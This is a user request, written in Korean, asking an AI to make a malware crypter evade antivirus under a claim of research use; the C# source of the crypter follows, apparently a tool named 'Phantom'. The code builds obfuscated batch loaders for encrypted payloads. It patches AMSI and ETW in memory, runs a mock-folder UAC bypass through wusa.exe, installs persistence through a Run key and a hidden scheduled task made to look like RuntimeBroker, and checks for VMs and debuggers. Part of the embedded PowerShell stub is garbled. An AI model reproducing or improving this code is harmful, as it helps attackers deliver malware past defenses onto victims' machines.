아래는 내가 만든 exe 에서 bat 로 변환후 난독화 해주는 코드야 이걸 너가 AV를 우회할수 있도록 그리고 아니면 기존 작동 방식이 감지 되니 새로운 방식으로 교체해줘 이건 내가 연구 목적으로 내 제한된 가상컴퓨터에서 테스트 할꺼야
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Text.RegularExpressions;
namespace Phantom
{
internal class FileGen
{
// Method to create batch file content
internal static string CreateBat(byte[] key, byte[] iv, EncryptionMode mode, bool hidden, bool selfdelete, bool runas, PhantomMain.FileType fileType, Random rng)
{
// Generate a random variable name
string RandomSetVarName = Utils.RandomString(20, rng);
// Generate PowerShell command using CreatePS method from StubGen class
string command = StubGen.CreatePS(key, iv, mode, rng);
StringBuilder output = new StringBuilder();
// Start building the batch file content
output.AppendLine(@"@echo off");
// Generate random variable names
string randomvarstr_1 = Utils.RandomString(20, rng);
string randomvarstr_2 = Utils.RandomString(20, rng);
// Add lines to set a random variable
output.AppendLine(@"%!%s%!%e%!%t%!%l%!%o%!%c%!%a%!%l%!% %!%e%!%n%!%a%!%b%!%l%!%e%!%d%!%e%!%l%!%a%!%y%!%e%!%d%!%e%!%x%!%p%!%a%!%n%!%s%!%i%!%o%!%n%!%".Replace(@"!", Utils.RandomString(20, rng)));
output.AppendLine(@"set ""x1=s""".Replace(@"x1", randomvarstr_1));
output.AppendLine(@"set ""x2=t""".Replace(@"x2", randomvarstr_2));
output.AppendLine(@"set ""x3=!x1!e!x2!""".Replace(@"x1", randomvarstr_1).Replace(@"x2", randomvarstr_2).Replace(@"x3", RandomSetVarName));
// If 'runas' flag is set, add code to execute the batch file with elevated privileges
if (runas)
{
// Code to execute the batch file with elevated privileges
string runascode = @"if not %errorlevel%==0 ( powershell -noprofile -ep bypass -command Start-Process -FilePath '%0' -ArgumentList '%cd%' -Verb runas & exit /b )" + Environment.NewLine + @"cd /d %1";
// Obfuscate the 'runascode'
var runasobf = Obfuscator.GenCodeBat(runascode, rng, RandomSetVarName, 3);
var netfileobf = Obfuscator.GenCodeBat(@"net file > nul 2>&1", rng, RandomSetVarName, 3);
// Add obfuscated 'runascode' and 'net file' command to the batch file content
output.AppendLine(netfileobf.Item1 + Environment.NewLine + netfileobf.Item2);
output.AppendLine(runasobf.Item1 + Environment.NewLine + runasobf.Item2);
}
// Prepare command for execution, optionally hiding the window
string commandstart = $"-noprofile {(hidden ? @"-windowstyle hidden" : string.Empty)} -ep bypass -command ";
// Obfuscate the PowerShell command
var obfuscated3 = Obfuscator.GenCodeBat(commandstart + command, rng, RandomSetVarName, 3);
output.AppendLine(obfuscated3.Item1);
string powershellPath = @"";
if (fileType == PhantomMain.FileType.NET64)
{
powershellPath = @"%systemdrive%\Windows\System32\WindowsPowerShell\v1.0\powershell.exe";
}
else if (fileType == PhantomMain.FileType.NET86)
{
powershellPath = @"%systemdrive%\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe";
}
else if (fileType == PhantomMain.FileType.x64)
{
powershellPath = @"%systemdrive%\Windows\System32\WindowsPowerShell\v1.0\powershell.exe";
}
else if (fileType == PhantomMain.FileType.x86)
{
powershellPath = @"%systemdrive%\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe";
}
var powershellcallobf = Obfuscator.GenCodeBat(@"""" + powershellPath + @""" ", rng, RandomSetVarName, 3);
output.AppendLine(powershellcallobf.Item1 + Environment.NewLine + powershellcallobf.Item2 + obfuscated3.Item2);
// If 'selfdelete' flag is set, add code to delete the batch file after execution
if (selfdelete)
{
// Code to delete the batch file after execution
var meltobf = Obfuscator.GenCodeBat(@"(goto) 2>nul & del ""%~f0""", rng, RandomSetVarName, 3);
output.AppendLine(meltobf.Item1 + Environment.NewLine + meltobf.Item2);
}
// Add exit command to terminate the batch file
var exitobf = Obfuscator.GenCodeBat(@"exit /b", rng, RandomSetVarName, 3);
output.Append(exitobf.Item1 + Environment.NewLine + exitobf.Item2);
// Return the generated batch file content as a string
return output.ToString();
}
}
}
using System;
using System.Collections.Generic;
using System.Text;
using static Phantom.Utils;
namespace Phantom
{
internal class StubGen
{
// Method to create PowerShell script
internal static string CreatePS(byte[] key, byte[] iv, EncryptionMode mode, Random rng)
{
// Declare variables
string stubcode = string.Empty;
string base64DecodeString = @"('gnirtS46esaBmorF'[-1..-16] -join '')";
string readAllTextString = @"('txeTllAdaeR'[-1..-11] -join '')";
string loadString = @"('daoL'[-1..-4] -join '')";
string decryptionKey = Convert.ToBase64String(key);
string decryptionIV = Convert.ToBase64String(iv);
string batPathVar = RandomString(5, rng);
string contentsVar = RandomString(5, rng);
string lastLineVar = RandomString(5, rng);
string lineVar = RandomString(5, rng);
string payloadVar = RandomString(5, rng);
string msiVar = RandomString(5, rng);
string msoVar = RandomString(5, rng);
string gsVar = RandomString(5, rng);
string obfStep1Var = RandomString(5, rng);
string obfStep2Var = RandomString(5, rng);
// Get embedded PowerShell script
stubcode += GetEmbeddedString(@"Phantom.Resources.AESStub.ps1");
// Replace placeholders with generated values
stubcode = stubcode.Replace(@"FromBase64String", base64DecodeString)
.Replace(@"ReadAllText", readAllTextString)
.Replace(@"Load", loadString)
.Replace(@"DECRYPTION_KEY", decryptionKey)
.Replace(@"DECRYPTION_IV", decryptionIV)
.Replace(@"batPath_var", batPathVar)
.Replace(@"contents_var", contentsVar)
.Replace(@"lastline_var", lastLineVar)
.Replace(@"line_var", lineVar)
.Replace(@"payload_var", payloadVar)
.Replace(@"msi_var", msiVar)
.Replace(@"mso_var", msoVar)
.Replace(@"gs_var", gsVar)
.Replace(@"obfstep1_var", obfStep1Var)
.Replace(@"obfstep2_var", obfStep2Var)
.Replace(Environment.NewLine, string.Empty);
// Return the generated PowerShell script
return stubcode;
}
// Method to create C# stub code
internal static string CreateCS(byte[] key, byte[] iv, EncryptionMode mode, bool antidebug, bool antivm, bool startup, bool uacbypass, bool native, Random rng)
{
// Declare variables
string namespacename = RandomString(20, rng);
string classname = RandomString(20, rng);
string aesfunction = RandomString(20, rng);
string uncompressfunction = RandomString(20, rng);
string gerfunction = RandomString(20, rng);
// Encrypt predefined strings
string key_str = Convert.ToBase64String(key);
string iv_str = Convert.ToBase64String(iv);
string stub = string.Empty;
string stubcode = GetEmbeddedString(@"Phantom.Resources.Stub.cs");
// Add compiler flags if specified
if (antidebug)
{
stub += "#define ANTI_DEBUG\n";
}
if (antivm)
{
stub += "#define ANTI_VM\n";
}
if (startup)
{
stub += "#define STARTUP\n";
}
if (uacbypass)
{
stub += "#define UAC_BYPASS\n";
}
if (native)
{
stub += "#define NATIVE\n";
}
// Replace placeholders with generated values
stubcode = stubcode.Replace(@"namespace_name", namespacename)
.Replace(@"class_name", classname)
.Replace(@"aesfunction_name", aesfunction)
.Replace(@"uncompressfunction_name", uncompressfunction)
.Replace(@"getembeddedresourcefunction_name", gerfunction)
.Replace(@"key_str", key_str)
.Replace(@"iv_str", iv_str);
// Concatenate stub code with additional compiler flags if specified
stub += stubcode;
// Return the generated C# stub code
return stub;
}
}
}
using System;
using System.Collections.Generic;
using System.Linq;
using static Phantom.Utils;
namespace Phantom
{
public class Obfuscator
{
public static (string, string) GenCodeBat(string input, Random rng, string SetVarName, int level = 5)
{
string ret = string.Empty;
string[] lines = input.Split(new string[] { Environment.NewLine }, StringSplitOptions.None);
int amount = 5;
if (level > 1) amount -= level;
amount *= 2;
List<string> setlines = new List<string>();
List<string[]> linevars = new List<string[]>();
foreach (string line in lines)
{
List<string> splitted = new List<string>();
string sc = string.Empty;
bool invar = false;
foreach (char c in line)
{
// 무작위 공백 삽입
if (rng.Next(0, 4) == 0) sc += " ";
if (c == '%')
{
invar = !invar;
sc += c;
continue;
}
if ((c == ' ' || c == '\'' || c == '.') && invar)
{
invar = false;
sc += c;
continue;
}
if (!invar && sc.Length >= amount)
{
splitted.Add(sc);
invar = false;
sc = string.Empty;
}
sc += c;
}
splitted.Add(sc);
List<string> vars = new List<string>();
foreach (string s in splitted)
{
string name = RandomString(10, rng);
setlines.Add($"!{SetVarName}! \"{name}={s}\"");
vars.Add(name);
// 가짜 변수 삽입
if (rng.Next(0, 3) == 0)
{
string fakeVarName = RandomString(10, rng);
setlines.Add($"set {fakeVarName}=null");
}
// 무의미한 명령어 삽입
if (rng.Next(0, 5) == 0)
{
setlines.Add($"echo {RandomString(5, rng)} > nul");
}
}
linevars.Add(vars.ToArray());
}
setlines = new List<string>(setlines.OrderBy(x => rng.Next()));
for (int i = 0; i < setlines.Count; i++)
{
ret += setlines[i];
ret += Environment.NewLine;
}
string varcalls = string.Empty;
foreach (string[] line in linevars)
{
foreach (string s in line)
{
// 변수명 무작위로 교체
if (rng.Next(0, 2) == 0)
{
string newName = RandomString(10, rng);
varcalls += $"%{newName}%";
}
else
{
varcalls += $"%{s}%";
}
}
varcalls += Environment.NewLine;
}
return (ret.TrimEnd('\r', '\n'), varcalls.TrimEnd('\r', '\n'));
}
}
}
using System;
using System.IO;
using Newtonsoft.Json;
namespace Phantom
{
internal class Settings
{
private static string savepath = AppDomain.CurrentDomain.BaseDirectory + "\bin\settings.json";
internal static SettingsObject Load()
{
if (File.Exists(savepath))
{
return JsonConvert.DeserializeObject<SettingsObject>(File.ReadAllText(savepath));
}
return null;
}
internal static void Save(SettingsObject obj) => File.WriteAllText(savepath, JsonConvert.SerializeObject(obj, Formatting.Indented));
}
internal class SettingsObject
{
public string inputFile { get; set; }
public bool antiDebug { get; set; }
public bool antiVM { get; set; }
public bool selfDelete { get; set; }
public bool hidden { get; set; }
public bool runas { get; set; }
public bool startup { get; set; }
public bool uacBypass { get; set; }
public string[] bindedFiles { get; set; }
}
}
using System;
using System.IO;
using System.IO.Compression;
using System.Linq;
using System.Reflection;
using System.Security.Cryptography;
namespace Phantom
{
internal enum EncryptionMode
{
AES,
XOR
}
internal class Utils
{
internal static byte[] GetEmbeddedResource(string name)
{
Assembly asm = Assembly.GetExecutingAssembly();
MemoryStream ms = new MemoryStream();
Stream stream = asm.GetManifestResourceStream(name);
stream.CopyTo(ms);
stream.Dispose();
byte[] ret = ms.ToArray();
ms.Dispose();
return ret;
}
internal static string GetEmbeddedString(string name)
{
Assembly asm = Assembly.GetExecutingAssembly();
StreamReader stream = new StreamReader(asm.GetManifestResourceStream(name));
string ret = stream.ReadToEnd();
stream.Close();
stream.Dispose();
return ret;
}
internal static byte[] Encrypt(EncryptionMode type, byte[] input, byte[] key, byte[] iv)
{
switch (type)
{
case EncryptionMode.AES:
{
AesManaged aes = new AesManaged();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
ICryptoTransform encryptor = aes.CreateEncryptor(key, iv);
byte[] encrypted = encryptor.TransformFinalBlock(input, 0, input.Length);
encryptor.Dispose();
aes.Dispose();
return encrypted;
}
case EncryptionMode.XOR:
{
for (int i = 0; i < input.Length; i++)
{
input[i] = (byte)(input[i] ^ key[i % key.Length]);
}
return input;
}
}
return null;
}
internal static byte[] Compress(byte[] bytes)
{
MemoryStream msi = new MemoryStream(bytes);
MemoryStream mso = new MemoryStream();
GZipStream gs = new GZipStream(mso, CompressionMode.Compress);
msi.CopyTo(gs);
gs.Dispose();
mso.Dispose();
msi.Dispose();
return mso.ToArray();
}
internal static string RandomString(int length, Random rng)
{
string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
return new string(Enumerable.Repeat(chars, length).Select(s => s[rng.Next(s.Length)]).ToArray());
}
}
}
function decrypt_function(param_var)
{
aes_var=[System.Security.Cryptography.Aes]::Create();
aesvar.Modaes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;
aes_var.IV=[System.Convert]::FromBase64String('DECRYPTION_IV');
aes_var.CreateDecryptor();
decryptor_var.TransformFinalBlock(param_var.Length);
aes_var.Dispose();
$return_var;
}
function decompress_function(param_var)
{
msi_var=New-Object System.IO.MemoryStream(,paramvar);mso_var=New-Object System.IO.MemoryStream;
msi_var, [IO.Compression.CompressionMode]::Decompress);
mso_var);
msi_var.Dispose();
mso_var.ToArray();
}
function execute_function(paramvar,param2_var)
{
param_var);
obfstep1_var.EntryPoint;
null, $param2_var);
}
batPathvar=′host.UI.RawUI.WindowTitle = batPacontents_var=[System.IO.File]::ReadAllText(line_var in line_var.StartsWith(':: '))
{
line_var.Substring(3);
break;
}
}
lastline_var.Split('');
payloads_var[0])));
payloads_var[1])));
execute_function null;
execute_function $payload2_var (,[string[]] ('%*'));
using System;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using Microsoft.VisualBasic.Devices;
namespace PHANTOM
{
internal class Program
{
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
private static IntPtr ASLR(IntPtr Relative_Address, IntPtr Relative_BaseAddress, string ModuleName)
{
return (IntPtr)((long)Relative_Address - (long)Relative_BaseAddress + (long)GetModuleHandle(ModuleName));
}
#if x64
private static IntPtr amsiScanBufferAddress_Win11 = (IntPtr)0x180008260; //May change in the future!
private static IntPtr amsiScanBufferAddress_Win10 = (IntPtr)0x180003860; //May change in the future!
private static IntPtr RebaseAddress = (IntPtr)0x180000000;
#else
private static IntPtr amsiScanBufferAddress_Win11 = (IntPtr)0x10005D60; //May change in the future!
private static IntPtr amsiScanBufferAddress_Win10 = (IntPtr)0x10005960; //May change in the future!
private static IntPtr RebaseAddress = (IntPtr)0x10000000;
#endif
private static uint PAGE_EXECUTE_READWRITE = 0x40;
private static string obfDll_Str = @"*a*m*s*i*.*d*l*l*".Replace(@"*", @"");
[STAThread]
static void Main()
{
IntPtr Address = IntPtr.Zero;
if (new ComputerInfo().OSFullName.Contains(@"11") == true)
{
Address = ASLR(amsiScanBufferAddress_Win11, RebaseAddress, obfDll_Str);
}
else
{
Address = ASLR(amsiScanBufferAddress_Win10, RebaseAddress, obfDll_Str);
}
byte[] Patch = (IntPtr.Size == 8) ? new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 } : new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
uint oldProtect;
VirtualProtect(Address, (UIntPtr)Patch.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
Marshal.Copy(Patch, 0, Address, Patch.Length);
VirtualProtect(Address, (UIntPtr)Patch.Length, oldProtect, out oldProtect);
}
}
}
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Security.Principal;
using System.Management;
using System.Windows.Forms;
using System.Threading;
using Microsoft.Win32;
namespace namespace_name
{
internal class class_name
{
[DllImport("kernel32.dll")]
private static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
private static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
#if ANTI_DEBUG
[DllImport("kernel32.dll")]
private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
[DllImport("kernel32.dll")]
private static extern bool IsDebuggerPresent();
#endif
#if NATIVE
private delegate void NativeEntryPointDelegate();
#endif
private static uint PAGE_EXECUTE_READWRITE = 0x40;
static void Main(string[] args)
{
string currentfilename = Process.GetCurrentProcess().MainModule.FileName;
#if UAC_BYPASS
Version osversion = Environment.OSVersion.Version;
if ((osversion.Major >= 6 && osversion.Minor >= 1) || osversion.Major >= 10)
{
try
{
if (!IsAdmin())
{
Directory.CreateDirectory("\\?\C:\Windows \System32");
File.Copy("C:\Windows\System32\wusa.exe", "C:\Windows \System32\wusa.exe", true);
File.WriteAllBytes("C:\Windows \System32\WTSAPI32.dll", uncompressfunction_name(getembeddedresourcefunction_name(@"UAC")));
Process.Start(new ProcessStartInfo()
{
FileName = "C:\Windows \System32\wusa.exe",
Arguments = """ + Console.Title + """,
UseShellExecute = true,
WindowStyle = ProcessWindowStyle.Hidden
});
Environment.Exit(-1);
}
Directory.Delete("\\?\C:\Windows ", true);
}
catch
{
}
}
#endif
#if STARTUP
try
{
bool isStartup = IsStartup(Console.Title);
if (!isStartup)
{
InstallStartup(Console.Title);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.ToString());
Process.GetCurrentProcess().Kill();
}
#endif
#if ANTI_VM
ManagementObjectSearcher searcher = new ManagementObjectSearcher(@"Select * from Win32_ComputerSystem");
ManagementObjectCollection instances = searcher.Get();
foreach (ManagementBaseObject inst in instances)
{
string manufacturer = inst[@"Manufacturer"].ToString().ToLower();
if ((manufacturer == @"microsoft corporation" && inst[@"Model"].ToString().ToUpperInvariant().Contains(@"VIRTUAL")) || manufacturer.Contains(@"vmware") || inst[@"Model"].ToString() == @"VirtualBox")
{
Environment.Exit(1);
}
}
searcher.Dispose();
#endif
#if ANTI_DEBUG
bool remotedebug = false;
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref remotedebug);
if (Debugger.IsAttached || remotedebug || IsDebuggerPresent())
{
Environment.Exit(-1);
}
#endif
IntPtr ntdll = LoadLibrary(@"ntdll.dll");
IntPtr etwaddr = GetProcAddress(ntdll, @"EtwEventWrite");
byte[] Patch = (IntPtr.Size == 8) ? new byte[] { 0xC3 } : new byte[] { 0xC2, 0x14, 0x00 };
uint oldProtect;
VirtualProtect(etwaddr, (UIntPtr)Patch.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
Marshal.Copy(Patch, 0, etwaddr, Patch.Length);
VirtualProtect(etwaddr, (UIntPtr)Patch.Length, oldProtect, out oldProtect);
string payloadstr = @"payload.exe";
Assembly asm = Assembly.GetExecutingAssembly();
foreach (string name in asm.GetManifestResourceNames())
{
if (name == payloadstr || name == @"UAC")
{
continue;
}
if (name.EndsWith(@".exe") || name.EndsWith(@".bat"))
{
try
{
File.WriteAllBytes(name, getembeddedresourcefunction_name(name));
File.SetAttributes(name, FileAttributes.Hidden | FileAttributes.System);
new Thread(() =>
{
Process.Start(name).WaitForExit();
File.SetAttributes(name, FileAttributes.Normal);
File.Delete(name);
}).Start();
}
catch
{
}
}
}
byte[] payload = uncompressfunction_name(aesfunction_name(getembeddedresourcefunction_name(payloadstr), Convert.FromBase64String(@"key_str"), Convert.FromBase64String(@"iv_str")));
string[] targs = new string[] { };
try
{
targs = args[0].Split(' ');
}
catch
{
}
#if NATIVE
unsafe
{
fixed (byte* _pointer = payload)
{
IntPtr _mem = (IntPtr)_pointer;
VirtualProtect(_mem, (UIntPtr)payload.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
NativeEntryPointDelegate NativeExecute = (NativeEntryPointDelegate)Marshal.GetDelegateForFunctionPointer(_mem, typeof(NativeEntryPointDelegate));
NativeExecute();
Environment.Exit(-1);
}
}
#else
MethodInfo entry = Assembly.Load(payload).EntryPoint;
try { entry.Invoke(null, new object[] { targs }); }
catch { entry.Invoke(null, null); }
#endif
}
private static bool IsAdmin()
{
var identity = WindowsIdentity.GetCurrent();
var principal = new WindowsPrincipal(identity);
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
#if STARTUP
private static bool IsStartup(string path)
{
if (path.Contains(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)) == true)
{
return true;
}
else
{
return false;
}
}
private static void InstallStartup(string batPath)
{
string currentfileextension = ".bat";
string randomvar = new Random().Next(1, 1000).ToString();
string newpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\startup_str_" + randomvar + currentfileextension;
string newVpath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\startup_str_" + randomvar + @".vbs";
File.WriteAllText(newVpath, "CreateObject(Replace(\"WScript.Shell\",\"SubChar\",\"\")).Run \"\"\"" + newpath + "\"\"\", 0");
if (IsAdmin())
{
Process.Start(new ProcessStartInfo()
{
FileName = "powershell.exe",
Arguments = "Register-ScheduledTask -TaskName 'RuntimeBroker_startup_" + randomvar + "_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute '" + newVpath + "') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force",
UseShellExecute = true,
WindowStyle = ProcessWindowStyle.Hidden
}).WaitForExit();
}
else
{
var key = Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run", true);
key.SetValue("RuntimeBroker_startup_" + randomvar + @"_str", "wscript.exe \"" + newVpath + "\"");
key.Dispose();
}
if (batPath.IndexOf(newpath, StringComparison.OrdinalIgnoreCase) == 0) return;
File.Copy(batPath, newpath, true);
Process.Start(newVpath);
Environment.Exit(-1);
}
#endif
private static byte[] aesfunction_name(byte[] input, byte[] key, byte[] iv)
{
AesManaged aes = new AesManaged();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
ICryptoTransform decryptor = aes.CreateDecryptor(key, iv);
byte[] decrypted = decryptor.TransformFinalBlock(input, 0, input.Length);
decryptor.Dispose();
aes.Dispose();
return decrypted;
}
private static byte[] uncompressfunction_name(byte[] bytes)
{
MemoryStream msi = new MemoryStream(bytes);
MemoryStream mso = new MemoryStream();
GZipStream gs = new GZipStream(msi, CompressionMode.Decompress);
gs.CopyTo(mso);
gs.Dispose();
mso.Dispose();
msi.Dispose();
return mso.ToArray();
}
private static byte[] getembeddedresourcefunction_name(string name)
{
Assembly asm = Assembly.GetExecutingAssembly();
MemoryStream ms = new MemoryStream();
Stream stream = asm.GetManifestResourceStream(name);
stream.CopyTo(ms);
stream.Dispose();
byte[] ret = ms.ToArray();
ms.Dispose();
return ret;
}
}
}
using System;
using System.CodeDom.Compiler;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Security.AccessControl;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using dnlib.DotNet;
using Microsoft.CSharp;
using Phantom.Properties;
using static Phantom.Utils;
namespace Phantom
{
public partial class PhantomMain : Form
{
public PhantomMain()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
SettingsObject obj = Settings.Load();
if (obj != null)
{
UnpackSettings(obj);
}
Task.Factory.StartNew(CheckVersion);
UpdateKeys(sender, e);
}
private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
Settings.Save(PackSettings());
Environment.Exit(-1);
}
private void openButton_Click(object sender, EventArgs e)
{
OpenFileDialog ofd = new OpenFileDialog();
ofd.Filter = @"Executable Files (*.exe)|*.exe";
ofd.RestoreDirectory = true;
if (ofd.ShowDialog() != DialogResult.OK)
{
return;
}
textBox1.Text = ofd.FileName;
}
private void buildButton_Click(object sender, EventArgs e) => Crypt();
private void addFile_Click(object sender, EventArgs e)
{
OpenFileDialog ofd = new OpenFileDialog();
ofd.Filter = @"Executable/Batch Files (*.exe, *.bat)|*.exe;*.bat";
ofd.RestoreDirectory = true;
if (ofd.ShowDialog() != DialogResult.OK)
{
return;
}
listBox1.Items.Add(ofd.FileName);
}
private static string CreateTempFile(Random rng)
{
string tempfilename = Utils.RandomString(10, rng) + @".tmp";
File.WriteAllText(tempfilename, @"");
return tempfilename;
}
private static byte[] ExtractResource(String filename)
{
System.Reflection.Assembly a = System.Reflection.Assembly.GetExecutingAssembly();
using (Stream resFilestream = a.GetManifestResourceStream(filename))
{
if (resFilestream == null) return null;
byte[] ba = new byte[resFilestream.Length];
resFilestream.Read(ba, 0, ba.Length);
return ba;
}
}
private void removeFile_Click(object sender, EventArgs e)
{
listBox1.Items.Remove(listBox1.SelectedItem);
}
internal enum FileType
{
x64,
x86,
NET64,
NET86,
Invalid
}
private static FileType GetFileType(string path)
{
FileType result;
try
{
result = ((AssemblyName.GetAssemblyName(path).ProcessorArchitecture == ProcessorArchitecture.X86) ? FileType.NET86 : FileType.NET64);
}
catch
{
using (FileStream fileStream = new FileStream(path, FileMode.Open, FileAccess.Read))
{
using (BinaryReader binaryReader = new BinaryReader(fileStream))
{
try
{
fileStream.Seek(60L, SeekOrigin.Begin);
int num = binaryReader.ReadInt32();
fileStream.Seek((long)num, SeekOrigin.Begin);
bool flag = binaryReader.ReadUInt32() != 17744U;
if (flag)
{
throw new Exception();
}
result = ((binaryReader.ReadUInt16() == 332) ? FileType.x86 : FileType.x64);
}
catch
{
result = FileType.Invalid;
}
}
}
}
return result;
}
// Method to create a crypted batch file from a executable
private void Crypt()
{
// Disable button to prevent multiple executions
buildButton.Enabled = false;
// Switch to the output tab
tabControl1.SelectedTab = tabControl1.TabPages[@"outputPage"];
// Clear items from listBox2
listBox2.Items.Clear();
// Call UpdateKeys method with null arguments to update and refresh the AES keys
UpdateKeys(null, null);
// Initialize a random number generator
Random rng = new Random();
// Retrieve input from textBox1
string _input = textBox1.Text;
// Decode keys and initialization vectors from base64 strings
byte[] _key = Convert.FromBase64String(key1), _iv = Convert.FromBase64String(iv1), _stubkey = Convert.FromBase64String(key2), _stubiv = Convert.FromBase64String(iv6);
// Specify encryption mode
EncryptionMode mode = EncryptionMode.AES;
// Check if input file doesn't exist or is not an executable
if (!File.Exists(_input) || Path.GetExtension(_input) != @".exe")
{
// Show error message
MessageBox.Show(!File.Exists(_input) ? @"Invalid input path." : @"Invalid input file.", @"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
// Re-enable build button
buildButton.Enabled = true;
// Exit function
return;
}
// Read bytes from input file
byte[] pbytes = File.ReadAllBytes(_input);
bool isnetasm = false;
// Check the file type of the input file
FileType fileType = GetFileType(_input);
if (fileType == FileType.Invalid)
{
// Show error message
MessageBox.Show(@"Invalid input file.", @"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
// Exit function
return;
}
else if (fileType == FileType.NET64 || fileType == FileType.NET86)
{
isnetasm = true;
}
// If input file is not a .NET assembly, convert it to shellcode and update the payload byte array
if (!isnetasm)
{
listBox2.Items.Add(@"[Native Payload Detected] - Converting payload to shellcode...");
int archType = 0;
if (fileType == FileType.x64)
{
archType = 2;
}
else
{
archType = 1;
}
string payloadExtension = Path.GetExtension(_input);
File.WriteAllBytes($"payload_native{payloadExtension}", pbytes);
File.WriteAllBytes(@"donut.exe", ExtractResource(@"Phantom.Resources.donut.exe"));
ProcessStartInfo processStartInfo = new ProcessStartInfo();
processStartInfo.UseShellExecute = true;
processStartInfo.WindowStyle = ProcessWindowStyle.Hidden;
processStartInfo.FileName = @"cmd.exe";
processStartInfo.Arguments = $"/C donut.exe -a {archType} -o \"payload_native.bin\" -i \"payload_native{payloadExtension}\" -b 1 -k 2 -x 3 & exit";
Process.Start(processStartInfo).WaitForExit();
File.Delete(@"donut.exe");
File.Delete($"payload_native{payloadExtension}");
pbytes = File.ReadAllBytes(@"payload_native.bin");
File.Delete(@"payload_native.bin");
}
// Add message to listBox2
listBox2.Items.Add(@"Encrypting payload...");
// Encrypt and compress payload
byte[] payload_enc = Encrypt(mode, Compress(pbytes), _stubkey, _stubiv);
// Add message to listBox2
listBox2.Items.Add(@"Creating stub...");
// Generate C# stub code
string stub = StubGen.CreateCS(_stubkey, _stubiv, mode, antiDebug.Checked, antiVM.Checked, startup.Checked, uacBypass.Checked, !isnetasm, rng);
// Add message to listBox2
listBox2.Items.Add(@"Building stub...");
// Create temporary file
string tempfile = CreateTempFile(rng);
// Write payload to file
File.WriteAllBytes(@"payload.exe", payload_enc);
// Initialize C# code provider
CSharpCodeProvider csc = new CSharpCodeProvider();
// Specify compiler parameters (Stager Stub)
CompilerParameters parameters = new CompilerParameters(new[] { @"mscorlib.dll", @"System.Core.dll", @"System.dll", @"System.Management.dll", @"System.Windows.Forms.dll" }, tempfile)
{
GenerateExecutable = true,
CompilerOptions = @"-optimize -unsafe",
IncludeDebugInformation = false
};
// Add embedded resources to compiler parameters
parameters.EmbeddedResources.Add(@"payload.exe");
if (uacBypass.Checked)
{
if (fileType == FileType.NET64 || fileType == FileType.x64)
{
File.WriteAllBytes(@"UAC", Compress(ExtractResource(@"Phantom.Resources.UAC64.dll")));
}
else
{
File.WriteAllBytes(@"UAC", Compress(ExtractResource(@"Phantom.Resources.UAC.dll")));
}
parameters.EmbeddedResources.Add(@"UAC");
}
foreach (string item in listBox1.Items)
{
parameters.EmbeddedResources.Add(item);
}
// Compile stub code
CompilerResults results = csc.CompileAssemblyFromSource(parameters, stub);
// Check for compilation errors
if (results.Errors.Count > 0)
{
// Delete temporary files
File.Delete(@"payload.txt");
File.Delete(tempfile);
if (uacBypass.Checked)
{
File.Delete(@"UAC");
}
// Show error message
MessageBox.Show(@"Stager Stub build error!", @"Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
// Re-enable build button
buildButton.Enabled = true;
// Exit function
return;
}
// Read bytes from temporary file
byte[] stubbytes = File.ReadAllBytes(tempfile);
// Delete temporary files
File.Delete(@"payload.exe");
File.Delete(tempfile);
if (uacBypass.Checked)
{
File.Delete(@"UAC");
}
// Create another temporary file
tempfile = CreateTempFile(rng);
// Initialize another C# code provider
CSharpCodeProvider csc2 = new CSharpCodeProvider();
// Specify compiler parameters for second compilation (Bypass Stub)
CompilerParameters parameters2 = new CompilerParameters(new[] { @"mscorlib.dll", @"System.Core.dll", @"System.dll", @"System.Management.dll", @"Microsoft.VisualBasic.dll" }, tempfile)
{
GenerateExecutable = true,
CompilerOptions = @"-optimize -unsafe",
IncludeDebugInformation = false
};
// Compile embedded BStub.cs file
string BStub_Str = GetEmbeddedString(@"Phantom.Resources.BStub.cs");
if (fileType == FileType.NET64)
{
BStub_Str = "#define x64\n" + BStub_Str;
}
